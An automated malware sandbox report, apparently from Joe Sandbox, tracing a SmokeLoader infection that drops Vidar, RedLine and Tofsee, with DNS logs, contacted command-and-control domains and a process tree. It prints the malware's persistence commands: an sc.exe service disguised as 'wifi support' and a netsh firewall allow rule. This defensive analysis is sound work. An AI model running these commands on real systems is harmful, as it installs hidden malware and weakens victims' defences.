Jan 14, 2022 20:29:48.403235912 CET	8.8.8.8	192.168.2.4	0x8df1	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.596955061 CET	8.8.8.8	192.168.2.4	0x4328	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.779263020 CET	8.8.8.8	192.168.2.4	0xfe2b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:48.975230932 CET	8.8.8.8	192.168.2.4	0xd0	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.159852028 CET	8.8.8.8	192.168.2.4	0x4039	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.325958967 CET	8.8.8.8	192.168.2.4	0xa0aa	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.493980885 CET	8.8.8.8	192.168.2.4	0xc6d3	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.676035881 CET	8.8.8.8	192.168.2.4	0x8431	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:49.849984884 CET	8.8.8.8	192.168.2.4	0x8d3d	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.075565100 CET	8.8.8.8	192.168.2.4	0xee16	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.237838984 CET	8.8.8.8	192.168.2.4	0xdf9	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.404228926 CET	8.8.8.8	192.168.2.4	0xbc85	No error (0)	goo.su	172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.404228926 CET	8.8.8.8	192.168.2.4	0xbc85	No error (0)	goo.su	104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:53.844762087 CET	8.8.8.8	192.168.2.4	0xc6ed	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.020250082 CET	8.8.8.8	192.168.2.4	0xafa7	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.239521980 CET	8.8.8.8	192.168.2.4	0xce80	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.408709049 CET	8.8.8.8	192.168.2.4	0x66db	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.573277950 CET	8.8.8.8	192.168.2.4	0x75ac	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.733412027 CET	8.8.8.8	192.168.2.4	0x81b7	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:29:54.896519899 CET	8.8.8.8	192.168.2.4	0x3011	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:02.233520031 CET	8.8.8.8	192.168.2.4	0x5c1a	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:02.399200916 CET	8.8.8.8	192.168.2.4	0xee93	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.127019882 CET	8.8.8.8	192.168.2.4	0xa06f	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.290981054 CET	8.8.8.8	192.168.2.4	0xce9b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.464379072 CET	8.8.8.8	192.168.2.4	0x87ab	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:04.640945911 CET	8.8.8.8	192.168.2.4	0x4535	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:12.016377926 CET	8.8.8.8	192.168.2.4	0xcf0a	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:12.201699972 CET	8.8.8.8	192.168.2.4	0xbcea	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:12.395394087 CET	8.8.8.8	192.168.2.4	0x475c	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:17.920705080 CET	8.8.8.8	192.168.2.4	0xe8c	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:18.199744940 CET	8.8.8.8	192.168.2.4	0x2817	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:18.287906885 CET	8.8.8.8	192.168.2.4	0xfb9d	No error (0)	patmushta.info	94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:18.434205055 CET	8.8.8.8	192.168.2.4	0xe2eb	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:20.746655941 CET	8.8.8.8	192.168.2.4	0xf1ed	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:20.923949003 CET	8.8.8.8	192.168.2.4	0x38f1	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:23.129528046 CET	8.8.8.8	192.168.2.4	0xcf31	No error (0)	iplogger.org	148.251.234.83	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:27.675003052 CET	8.8.8.8	192.168.2.4	0x803b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:27.865788937 CET	8.8.8.8	192.168.2.4	0x4d74	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.032931089 CET	8.8.8.8	192.168.2.4	0xdb9b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.275589943 CET	8.8.8.8	192.168.2.4	0xfaf7	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.478533983 CET	8.8.8.8	192.168.2.4	0x78e4	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:28.489126921 CET	8.8.8.8	192.168.2.4	0xcb6	No error (0)	iplogger.org	148.251.234.83	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:31.883305073 CET	8.8.8.8	192.168.2.4	0xa7eb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:32.173628092 CET	8.8.8.8	192.168.2.4	0xe5f1	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:32.412640095 CET	8.8.8.8	192.168.2.4	0xcd5e	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:34.867557049 CET	8.8.8.8	192.168.2.4	0xef5d	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.089627981 CET	8.8.8.8	192.168.2.4	0xe884	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.296699047 CET	8.8.8.8	192.168.2.4	0xd4ee	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.804399967 CET	8.8.8.8	192.168.2.4	0x7bd0	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.804399967 CET	8.8.8.8	192.168.2.4	0x7bd0	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.804399967 CET	8.8.8.8	192.168.2.4	0x7bd0	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.804399967 CET	8.8.8.8	192.168.2.4	0x7bd0	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.804399967 CET	8.8.8.8	192.168.2.4	0x7bd0	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:35.804399967 CET	8.8.8.8	192.168.2.4	0x7bd0	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:42.953994989 CET	8.8.8.8	192.168.2.4	0x2726	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:42.953994989 CET	8.8.8.8	192.168.2.4	0x2726	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:42.953994989 CET	8.8.8.8	192.168.2.4	0x2726	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:42.953994989 CET	8.8.8.8	192.168.2.4	0x2726	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:42.953994989 CET	8.8.8.8	192.168.2.4	0x2726	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.238307953 CET	8.8.8.8	192.168.2.4	0x3fe1	No error (0)	github.com	140.82.121.4	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.521907091 CET	8.8.8.8	192.168.2.4	0xc3	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.521907091 CET	8.8.8.8	192.168.2.4	0xc3	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.521907091 CET	8.8.8.8	192.168.2.4	0xc3	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:44.521907091 CET	8.8.8.8	192.168.2.4	0xc3	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)
Jan 14, 2022 20:30:48.260907888 CET	8.8.8.8	192.168.2.4	0xee5a	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 20:31:08.620507956 CET	8.8.8.8	192.168.2.4	0x1b20	No error (0)	patmushta.info	94.142.143.116	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

pieilmtu.com

host-data-coin-11.com

nwilglig.org

nfbqltka.com

cvdhldsf.net

qcjatd.com

xrovmrlel.net

cmgcwqatb.org

owgvnnuoml.com

data-host-coin-8.com

opviax.net

nunmqyect.net

kyadmhioim.com

rnsdjgkq.org

sjgvu.com

unicupload.top

cqsurm.com

gculkm.com

ifvodd.net

lvmiyiiy.com

pegqugok.net

uhiqru.org

jbinuykf.net

kybdaip.org

185.7.214.171:8080

doynnfulb.net

nxysak.org

jxgxnkpb.org

mfkcxcj.org

codldamrms.net

niaqngu.org

hmpbvq.org

ktpvhvj.com

ovfkbfuk.org

cgqgnij.net

pdjtd.com

jcppp.com

fnkfxr.net

crnelkeerw.net

lyxrabhsyj.net

dvrkmsgph.org

bdwjscwkyb.org

laegissbnw.net

pmulpwtk.net

vgfuhgdk.com

gjmsrnrg.net

hffekwpew.org

nrofkgudk.org

ldeax.net

mvdnpk.org

uaeudvuct.net

tfmwuwhaf.org

81.163.30.181

bjmmoxjkh.com

uekxwe.org

74.201.28.62

ybthjouy.net

qycehx.net

udwhex.net

185.163.204.22

185.163.204.24

hriqvkh.com

rajclxd.org

rkgofw.com

cmhrt.com

rdctx.net

hqdkqcs.com

cfyeur.com

lwqbhm.net

podwtxiqj.com

kxheih.com

ahptoxawd.com

ruiwhjpxrd.net

ukonhqmwew.net

qmeixpxj.org

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: ECD2MpEBSf.exe PID: 7104 Parent PID: 6048

General

Start time:	20:28:28
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\ECD2MpEBSf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ECD2MpEBSf.exe"
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	31F0D01EE1FD6876668692791657D97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: ECD2MpEBSf.exe PID: 7132 Parent PID: 7104

General

Start time:	20:28:29
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\ECD2MpEBSf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ECD2MpEBSf.exe"
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	31F0D01EE1FD6876668692791657D97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.721727855.00000000006A1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.721690876.0000000000680000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 7132

General

Start time:	20:28:36
Start date:	14/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000000.708255964.00000000044C1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6408 Parent PID: 568

General

Start time:	20:28:37
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3512 Parent PID: 568

General

Start time:	20:28:55
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: jgdhbua PID: 6700 Parent PID: 968

General

Start time:	20:29:10
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\jgdhbua
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jgdhbua
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	31F0D01EE1FD6876668692791657D97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6680 Parent PID: 568

General

Start time:	20:29:10
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: jgdhbua PID: 6784 Parent PID: 6700

General

Start time:	20:29:11
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\jgdhbua
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jgdhbua
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	31F0D01EE1FD6876668692791657D97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.776599972.00000000004F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.776791205.00000000020A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: BB8A.exe PID: 6816 Parent PID: 3424

General

Start time:	20:29:12
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\BB8A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BB8A.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 77%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 6964 Parent PID: 568

General

Start time:	20:29:15
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6876 Parent PID: 6964

General

Start time:	20:29:16
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6816 -ip 6816
Imagebase:	0x1010000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: CCB2.exe PID: 6844 Parent PID: 3424

General

Start time:	20:29:17
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\CCB2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CCB2.exe
Imagebase:	0x400000
File size:	324608 bytes
MD5 hash:	043B44289E31BD54357F9A5C21833259
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: WerFault.exe PID: 6968 Parent PID: 6816

General

Start time:	20:29:17
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6816 -s 520
Imagebase:	0x1010000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: D936.exe PID: 7124 Parent PID: 3424

General

Start time:	20:29:21
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\D936.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D936.exe
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	9517CA2BC20EC061024C1209970CCD2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000011.00000003.779473426.00000000022D0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 3D34.exe PID: 6404 Parent PID: 3424

General

Start time:	20:29:23
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3D34.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3D34.exe
Imagebase:	0xec0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.833275323.00000000041F1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.833464312.0000000004361000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 89%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6412 Parent PID: 7124

General

Start time:	20:29:25
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qeprvgom\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4652 Parent PID: 6412

General

Start time:	20:29:25
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5468 Parent PID: 7124

General

Start time:	20:29:26
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4672 Parent PID: 5468

General

Start time:	20:29:26
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6064 Parent PID: 568

General

Start time:	20:29:27
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 4608 Parent PID: 7124

General

Start time:	20:29:27
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0xb40000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6424 Parent PID: 4608

General

Start time:	20:29:27
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6464 Parent PID: 7124

General

Start time:	20:29:28
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description qeprvgom "wifi internet conection
Imagebase:	0xb40000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6604 Parent PID: 6464

General

Start time:	20:29:29
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 1716 Parent PID: 7124

General

Start time:	20:29:29
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start qeprvgom
Imagebase:	0xb40000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 64 Parent PID: 1716

General

Start time:	20:29:30
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: krmdinzg.exe PID: 6888 Parent PID: 568

General

Start time:	20:29:30
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d"C:\Users\user\AppData\Local\Temp\D936.exe"
Imagebase:	0x400000
File size:	10624000 bytes
MD5 hash:	C8DE2E3F0DF5D9E1C126828B1444DBEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000002.800983655.00000000006C0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000003.798724710.00000000007C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000002.800731759.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000002.801019606.00000000007C0000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: netsh.exe PID: 6744 Parent PID: 7124

General

Start time:	20:29:30
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x7ff77ba70000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3716 Parent PID: 6744

General

Start time:	20:29:31
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
